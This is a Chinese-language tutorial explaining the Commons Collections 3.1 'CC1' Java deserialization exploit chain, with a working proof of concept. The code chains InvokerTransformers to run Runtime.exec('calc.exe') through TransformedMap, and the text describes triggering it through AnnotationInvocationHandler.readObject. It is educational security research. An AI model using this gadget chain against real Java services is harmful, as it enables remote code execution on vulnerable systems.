一、Commens Collection简介
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为 Apache 开源项目的重要组件,Commons Collections 被广泛应用于各种 Java 应用的开发,它已经成为 Java 中公认的集合处理标准。
它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:
- Transforming decorators that alter each object as it is added to the collection
- 转化装饰器:修改每一个添加到collection中的object
Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。org.apache.commons.collections.Transformer
这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。
二、CC1利用链
2.1 环境部署
CommonsCollections1 反序列化利用链基于 Commons-collections-3.1 版本, 故在本地部署 CC1 环境的项目,需要以下条件:
安装并使用 Java JDK 1.7(在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用);
借助 Maven 项目的 pom.xml 配置文件,导入 Commons Collections 3.1 依赖包,依赖文件如下:
1
2
3
4
5
6
7<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
第二步也可以换成:从网上找到commons collections-3.1的jar包导入到项目作为库文件
2.2 CC1关键函数
为了理解 CommonCollections1 反序列化利用链,需要先理解 Common Collections 反序列化利用链工具库的几个关键接口和函数。
在 Commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的。
有很多类实现了该接口,其中CC1主要用到一下三个:
1. InvokerTransformer
其 transform 方法实现了通过反射来调用某方法:
2. ConstantTransformer
其 transform 方法将输入原封不动的返回:
3. ChainedTransformer
其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去:
除了上述三个实现了 Transformer 接口的类外,还有一个类需要特殊补充下——TransformedMap。
Map 类是存储键值对的数据结构,Apache Commons Collection 中实现了类 TransformedMap,用来对 Map 进行某种变换。只要调用 TransformedMap 类中的decorate()函数,传入 key 和 value 的变换函数 Transformer,即可从任意 Map 对象生成相应的 TransformedMap。decorate()函数如下:
2.3 利用链POC1
当 Map 中的任意项的 Key 或者 Value 被修改,相应的 Transformer 就会被调用。要想任意代码执行,我们可以首先构造一个 Map 和一个能够执行代码的 ChainedTransformer,以此生成一个 TransformedMap,然后修改 Map 中的任意项的 Key 或者 Value,或者想办法去触发 Map 中的 MapEntry 产生修改(例如setValue()函数),即可触发我们构造的 Transformer。
利用上面的知识点,构造了一个简单的链,达到命令执行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class exec {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");
}
}运行效果如下:
- 代码分析:
- 定义一个 Transformer 对象的数组,构造中间的小链子(包含 ConstantTransformer,InvokerTransformer);
- 基于反射调用 InvokerTransformer 构造命令执行代码;
- 命令执行造好了,还有一个触发 ChainedTransformer 的方法,就是 TransformedMap.decorate 方法;
- 实例化一个 Map对象,然后修饰绑定上 transformerChain 这个上面,每当有 Map 有新元素进来的时候,就会触发上面的链;
- 所以 Map 对象
put("zeo", "666")
一下就会触发命令执行成功弹出了计算器。
对上述 POC 进行简单的改造(主要是改末尾的 outerMap.put("zeo", "666");
),也是可以触发漏洞的:
1 | public class CommonCollections1 { |
当上面的代码运行到 setValue() 时,就会触发 ChainedTransformer 中的一系列变换函数:
首先通过 ConstantTransformer 获得 Runtime 类;
进一步通过反射调用 getMethod 找到 invoke 函数;
最后再运行命令 calc.exe。
但是目前的构造还需要依赖于触发 Map 中某一项去调用 setValue(),我们需要想办法通过 readObject() 直接触发。
调试分析
下面利用 IDEA 来调试分析下上述代码触发反序列化漏洞的过程:
1.在setValue()函数所在的行设置断点,进入调试
2.跟进setValue(),发现调用了TransformedMap类的checkSetValue()方法
3.继续跟进checkSetValue()方法,会来到ChainedTransformer方法的transform方法
4.继续跟进来到ConstantTransformer的transform方法
5.一直跟进就会来到命令执行的 transform 方法中,最终导致 RCE:
2.4 利用链POC2
上面的 POC 代码虽然成功触发反序列化漏洞了,但是其实是手动触发的,没什么用的。反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?所以关键目标是:找到⼀个类,它在反序列化的 readObject() 函数逻辑⾥有类似的写⼊操作。
我们发现 Java 运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量 memberValues 是 Map 类型,如下所示:
1 | class AnnotationInvocationHandler implements InvocationHandler, Serializable { |
AnnotationInvocationHandler
的 readObject() 函数中对 memberValues 的每一项调用了 setValue() 函数,如下所示:
1 | private void readObject(java.io.ObjectInputStream s) |
因此,我们只需要使用前面构造的 Map 来构造 AnnotationInvocationHandler 进行序列化,当触发 readObject() 反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的 package 中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的 payload 的代码如下:
1 | import org.apache.commons.collections.Transformer; |
以上解释了如何通过 Apache Commons Collections 3 这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。
参考文章
1.https://blog.csdn.net/weixin_39190897/article/details/119222050